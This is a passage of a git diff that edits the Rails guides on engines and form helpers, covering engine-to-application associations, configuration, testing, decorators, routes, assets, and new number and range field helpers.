classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense. +When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the `blorgh` engine, making posts and comments +have authors would make a lot of sense. -A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class. +A typical application might have a `User` class that would be used to represent +authors for a post or a comment. But there could be a case where the application +calls this class something different, such as `Person`. For this reason, the +engine should not hardcode associations specifically for a `User` class. -To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application: +To keep it simple in this case, the application will have a class called `User` +that represents the users of the application. It can be generated using this +command inside the application: ```bash rails g model user name:string ``` -The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. +The `rake db:migrate` command needs to be run here to ensure that our +application has the `users` table for future use. -Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it. +Also, to keep it simple, the posts form will have a new text field called +`author_name`, where users can elect to put their name. The engine will then +take this name and either create a new `User` object from it, or find one that +already has that name. The engine will then associate the post with the found or +created `User` object. -First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code: +First, the `author_name` text field needs to be added to the +`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be +added above the `title` field with this code: ```html+erb <div class="field"> - <%= f.label :author_name %><br /> + <%= f.label :author_name %><br> <%= f.text_field :author_name %> </div> ``` -The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it. +Next, we need to update our `Blorgh::PostController#post_params` method to +permit the new form parameter: + +```ruby +def post_params + params.require(:post).permit(:title, :text, :author_name) +end +``` + +The `Blorgh::Post` model should then have some code to convert the `author_name` +field into an actual `User` object and associate it as that post's `author` +before the post is saved. It will also need to have an `attr_accessor` set up +for this field, so that the setter and getter methods are defined for it. -To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being. +To do all this, you'll need to add the `attr_accessor` for `author_name`, the +association for the author and the `before_save` call into +`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the +`User` class for the time being. ```ruby attr_accessor :author_name @@ -536,7 +801,11 @@ private end ``` -By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table. +By representing the `author` association's object with the `User` class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the `blorgh_posts` table with the records in the +`users` table. Because the association is called `author`, there should be an +`author_id` column added to the `blorgh_posts` table. To generate this new column, run this command within the engine: @@ -544,31 +813,41 @@ To generate this new column, run this command within the engine: $ rails g migration add_author_id_to_blorgh_posts author_id:integer ``` -NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. +NOTE: Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this. -This migration will need to be run on the application. To do that, it must first be copied using this command: +This migration will need to be run on the application. To do that, it must first +be copied using this command: ```bash $ rake blorgh:install:migrations ``` -Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. +Notice that only _one_ migration was copied over here. This is because the first +two migrations were copied over the first time this command was run. -``` -NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +``` +NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been +skipped. Migration with the same name already exists. NOTE Migration +[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration +with the same name already exists. Copied migration +[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh ``` -Run this migration using this command: +Run the migration using: ```bash $ rake db:migrate ``` -Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine. +Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the `users` table - with a post, +represented by the `blorgh_posts` table from the engine. -Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: +Finally, the author's name should be displayed on the post's page. Add this code +above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: ```html+erb <p> @@ -577,13 +856,15 @@ Finally, the author's name should be displayed on the post's page. Add this code </p> ``` -By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly: +By outputting `@post.author` using the `<%=` tag, the `to_s` method will be +called on the object. By default, this will look quite ugly: ``` #<User:0x00000100ccb3b0> ``` -This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application: +This is undesirable. It would be much better to have the user's name there. To +do this, add a `to_s` method to the `User` class within the application: ```ruby def to_s @@ -591,50 +872,77 @@ def to_s end ``` -Now instead of the ugly Ruby object output the author's name will be displayed. +Now instead of the ugly Ruby object output, the author's name will be displayed. -#### Using a controller provided by the application +#### Using a Controller Provided by the Application -Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like: +Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from `ApplicationController` by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped `ApplicationController`. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's `ApplicationController`. An easy way to +provide this access is to change the engine's scoped `ApplicationController` to +inherit from the main application's `ApplicationController`. For our Blorgh +engine this would be done by changing +`app/controllers/blorgh/application_controller.rb` to look like: ```ruby class Blorgh::ApplicationController < ApplicationController end ``` -By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application. +By default, the engine's controllers inherit from +`Blorgh::ApplicationController`. So, after making this change they will have +access to the main application's `ApplicationController`, as though they were +part of the main application. -This change does require that the engine is run from a Rails application that has an `ApplicationController`. +This change does require that the engine is run from a Rails application that +has an `ApplicationController`. -### Configuring an engine +### Configuring an Engine -This section covers how to make the `User` class configurable, followed by general configuration tips for the engine. +This section covers how to make the `User` class configurable, followed by +general configuration tips for the engine. -#### Setting configuration settings in the application +#### Setting Configuration Settings in the Application -The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application. +The next step is to make the class that represents a `User` in the application +customizable for the engine. This is because that class may not always be +`User`, as previously explained. To make this setting customizable, the engine +will have a configuration setting called `author_class` that will be used to +specify which class represents users inside the application. -To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line: +To define this configuration setting, you should use a `mattr_accessor` inside +the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the +engine: ```ruby mattr_accessor :author_class ``` -This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`. +This method works like its brothers, `attr_accessor` and `cattr_accessor`, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using `Blorgh.author_class`. -The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this: +The next step is to switch the `Blorgh::Post` model over to this new setting. +Change the `belongs_to` association inside this model +(`app/models/blorgh/post.rb`) to this: ```ruby belongs_to :author, class_name: Blorgh.author_class ``` -The `set_author` method also located in this class should also use this class: +The `set_author` method in the `Blorgh::Post` model should also use this class: ```ruby self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) ``` -To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result: +To save having to call `constantize` on the `author_class` result all the time, +you could instead just override the `author_class` getter method inside the +`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the +saved value before returning the result: ```ruby def self.author_class @@ -648,82 +956,134 @@ This would then turn the above code for `set_author` into this: self.author = Blorgh.author_class.find_or_create_by(name: author_name) ``` -Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object. +Resulting in something a little shorter, and more implicit in its behavior. The +`author_class` method should always return a `Class` object. -Since we changed the `author_class` method to no longer return a -`String` but a `Class` we must also modify our `belongs_to` definition -in the `Blorgh::Post` model: +Since we changed the `author_class` method to return a `Class` instead of a +`String`, we must also modify our `belongs_to` definition in the `Blorgh::Post` +model: ```ruby belongs_to :author, class_name: Blorgh.author_class.to_s ``` -To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing. +To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing. -Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it: +Create a new initializer at `config/initializers/blorgh.rb` inside the +application where the `blorgh` engine is installed and put this content in it: ```ruby Blorgh.author_class = "User" ``` -WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on. +WARNING: It's very important here to use the `String` version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table wasn't already existing. Therefore, a `String` should be +used and then converted to a class using `constantize` in the engine later on. -Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is. +Go ahead and try to create a new post. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in `config/initializers/blorgh.rb` to learn what the class is. -There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. +There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +`find_or_create_by` method which returns an object of that class, to be +associated with a post when it's created. This object, of course, should have +some sort of identifier by which it can be referenced. -#### General engine configuration +#### General Engine Configuration -Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! +Within an engine, there may come a time where you wish to use things such as +initializers, internationalization or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines! -If you wish to use an initializer — code that should run before the engine is -loaded — the place for it is the `config/initializers` folder. This directory's -functionality is explained in the -[Initializers section](configuring.html#initializers) of the Configuring guide, -and works precisely the same way as the `config/initializers` directory inside -an application. Same goes for if you want to use a standard initializer. +If you wish to use an initializer - code that should run before the engine is +loaded - the place for it is the `config/initializers` folder. This directory's +functionality is explained in the [Initializers +section](configuring.html#initializers) of the Configuring guide, and works +precisely the same way as the `config/initializers` directory inside an +application. The same thing goes if you want to use a standard initializer. -For locales, simply place the locale files in the `config/locales` directory, just like you would in an application. +For locales, simply place the locale files in the `config/locales` directory, +just like you would in an application. Testing an engine ----------------- -When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. +When an engine is generated, there is a smaller dummy application created inside +it at `test/dummy`. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models or views from within the directory, and then use +those to test your engine. -The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. +The `test` directory should be treated like a typical Rails testing environment, +allowing for unit, functional and integration tests. -### Functional tests +### Functional Tests -A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this: +A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the `test/dummy` +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical `GET` to a controller in a controller's functional test like this: ```ruby get :index ``` -It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also: +It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it **how**. To +do this, you must also pass the `:use_route` option as a parameter on these +requests: ```ruby get :index, use_route: :blorgh ``` -This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application. +This tells the application that you still want to perform a `GET` request to the +`index` action of this controller, but you want to use the engine's route to get +there, rather than the application's one. + +Another way to do this is to assign the `@routes` instance variable to `Engine.routes` in your test setup: + +```ruby +setup do + @routes = Engine.routes +end +``` + +This will also ensure url helpers for the engine will work as expected in your tests. Improving engine functionality ------------------------------ -This section explains how to add and/or override engine MVC functionality in the main Rails application. +This section explains how to add and/or override engine MVC functionality in the +main Rails application. ### Overriding Models and Controllers -Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern. +Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern. -For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`. +For simple class modifications, use `Class#class_eval`. For complex class +modifications, consider using `ActiveSupport::Concern`. -#### A note on Decorators and loading code +#### A note on Decorators and Loading Code Because these decorators are not referenced by your Rails application itself, -Rails' autoloading system will not kick in and load your decorators. This -means that you need to require them yourself. +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself. Here is some sample code to do this: @@ -747,7 +1107,7 @@ that isn't referenced by your main application. #### Implementing Decorator Pattern Using Class#class_eval -**Adding** `Post#time_since_created`, +**Adding** `Post#time_since_created`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -768,7 +1128,7 @@ end ``` -**Overriding** `Post#summary` +**Overriding** `Post#summary`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -793,9 +1153,13 @@ end #### Implementing Decorator Pattern Using ActiveSupport::Concern -Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code. +Using `Class#class_eval` is great for simple adjustments, but for more complex +class modifications, you might want to consider using [`ActiveSupport::Concern`] +(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code. -**Adding** `Post#time_since_created` and **Overriding** `Post#summary` +**Adding** `Post#time_since_created` and **Overriding** `Post#summary`: ```ruby # MyApp/app/models/blorgh/post.rb @@ -828,7 +1192,7 @@ module Blorgh::Concerns::Models::Post extend ActiveSupport::Concern # 'included do' causes the included code to be evaluated in the - # context where it is included (post.rb), rather than be + # context where it is included (post.rb), rather than being # executed in the module's context (blorgh/concerns/models/post). included do attr_accessor :author_name @@ -837,7 +1201,6 @@ module Blorgh::Concerns::Models::Post before_save :set_author private - def set_author self.author = User.find_or_create_by(name: author_name) end @@ -855,15 +1218,23 @@ module Blorgh::Concerns::Models::Post end ``` -### Overriding views +### Overriding Views -When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. +When Rails looks for a view to render, it will first look in the `app/views` +directory of the application. If it cannot find the view there, it will check in +the `app/views` directories of all engines that have this directory. -In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine. +When the application is asked to render the view for `Blorgh::PostsController`'s +index action, it will first look for the path +`app/views/blorgh/posts/index.html.erb` within the application. If it cannot +find it, it will look inside the engine. -You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. +You can override this view in the application by simply creating a new file at +`app/views/blorgh/posts/index.html.erb`. Then you can completely change what +this view would normally output. -Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it: +Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` +and put this content in it: ```html+erb <h1>Posts</h1> @@ -878,9 +1249,13 @@ Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` a ### Routes -Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash. +Routes inside an engine are isolated from the application by default. This is +done by the `isolate_namespace` call inside the `Engine` class. This essentially +means that the application and its engines can have identically named routes and +they will not clash. -Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this: +Routes inside an engine are drawn on the `Engine` class within +`config/routes.rb`, like this: ```ruby Blorgh::Engine.routes.draw do @@ -888,43 +1263,71 @@ Blorgh::Engine.routes.draw do end ``` -By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined. +By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as `posts_path` may end up +going to undesired locations if both the application and the engine have such a +helper defined. -For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine: +For instance, the following example would go to the application's `posts_path` +if that template was rendered from the application, or the engine's `posts_path` +if it was rendered from the engine: ```erb <%= link_to "Blog posts", posts_path %> ``` -To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. +To make this route always use the engine's `posts_path` routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine. ```erb <%= link_to "Blog posts", blorgh.posts_path %> ``` -If you wish to reference the application inside the engine in a similar way, use the `main_app` helper: +If you wish to reference the application inside the engine in a similar way, use +the `main_app` helper: ```erb <%= link_to "Home", main_app.root_path %> ``` -If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from. +If you were to use this inside an engine, it would **always** go to the +application's root. If you were to leave off the `main_app` "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from. -If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine. +If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the `main_app` prefix from within the +engine. ### Assets -Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets. +Assets within an engine work in an identical way to a full application. Because +the engine class inherits from `Rails::Engine`, the application will know to +look up assets in the engine's 'app/assets' and 'lib/assets' directories. -Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. +Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called `style.css`, it should be placed at +`app/assets/stylesheets/[engine name]/style.css`, rather than +`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored. -Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine: +Imagine that you did have an asset located at +`app/assets/stylesheets/blorgh/style.css` To include this asset inside an +application, just use `stylesheet_link_tag` and reference the asset as if it +were inside the engine: ```erb <%= stylesheet_link_tag "blorgh/style.css" %> ``` -You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files: +You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files: ``` /* @@ -932,16 +1335,21 @@ You can also specify these assets as dependencies of other assets using the Asse */ ``` -INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`. +INFO. Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's `.gemspec`. ### Separate Assets & Precompiling -There are some situations where your engine's assets are not required by the host application. For example, say that you've created -an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` -or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. -This tells sprockets to add your engine assets when `rake assets:precompile` is ran. +There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require `admin.css` or `admin.js`. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +`"blorgh/admin.css"` in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells sprockets to add +your engine assets when `rake assets:precompile` is triggered. -You can define assets for precompilation in `engine.rb` +You can define assets for precompilation in `engine.rb`: ```ruby initializer "blorgh.assets.precompile" do |app| @@ -949,15 +1357,15 @@ initializer "blorgh.assets.precompile" do |app| end ``` -For more information, read the [Asset Pipeline guide](asset_pipeline.html) +For more information, read the [Asset Pipeline guide](asset_pipeline.html). -### Other gem dependencies +### Other Gem Dependencies -Gem dependencies inside an engine should be specified inside the -`.gemspec` file at the root of the engine. The reason is that the engine may -be installed as a gem. If dependencies were to be specified inside the `Gemfile`, -these would not be recognized by a traditional gem install and so they would not -be installed, causing the engine to malfunction. +Gem dependencies inside an engine should be specified inside the `.gemspec` file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the `Gemfile`, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction. To specify a dependency that should be installed with the engine during a traditional `gem install`, specify it inside the `Gem::Specification` block @@ -975,11 +1383,12 @@ s.add_development_dependency "moo" ``` Both kinds of dependencies will be installed when `bundle install` is run inside -the application. The development dependencies for the gem will only be used when -the tests for the engine are running. +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running. Note that if you want to immediately require dependencies when the engine is -required, you should require them before the engine's initialization. For example: +required, you should require them before the engine's initialization. For +example: ```ruby require 'other_engine/engine' diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index 7f37a298b1..027b6303fc 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -1,16 +1,16 @@ Form Helpers ============ -Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. +Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use. After reading this guide, you will know: * How to create search forms and similar kind of generic forms not representing any specific model in your application. -* How to make model-centric forms for creation and editing of specific database records. +* How to make model-centric forms for creating and editing specific database records. * How to generate select boxes from multiple types of data. -* The date and time helpers Rails provides. +* What date and time helpers Rails provides. * What makes a file upload form different. -* Some cases of building forms to external resources. +* How to post forms to external resources and specify setting an `authenticity_token`. * How to build complex forms. -------------------------------------------------------------------------------- @@ -67,7 +67,7 @@ To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and This will generate the following HTML: ```html -<form accept-charset="UTF-8" action="/search" method="get"> +<form accept-charset="UTF-8" action="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <label for="q">Search for:</label> <input id="q" name="q" type="text" /> <input name="commit" type="submit" value="Search" /> @@ -146,7 +146,7 @@ Output: <label for="age_adult">I'm over 21</label> ``` -As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult". +As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either "child" or "adult". NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and, by expanding the clickable region, @@ -154,7 +154,10 @@ make it easier for users to click the inputs. ### Other Helpers of Interest -Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields and range fields: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> ``` Output: @@ -190,11 +195,20 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> ``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are +[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), +which provide a simple way to add functionality based on the presence of +detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -290,7 +304,7 @@ The object yielded by `fields_for` is a form builder like the one yielded by `fo ### Relying on Record Identification -The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**: +The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**: ```ruby resources :articles @@ -328,7 +342,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that form_for [:admin, @article] ``` -will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: +will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: ```ruby form_for [:admin, :management, @article] @@ -381,7 +395,7 @@ Here you have a list of cities whose names are presented to the user. Internally ### The Select and Option Tags -The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string: +The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string: ```erb <%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %> @@ -421,14 +435,19 @@ output: Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. -TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. +TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` - you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. You can add arbitrary attributes to the options using hashes: ```html+erb -<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %> +<%= options_for_select( 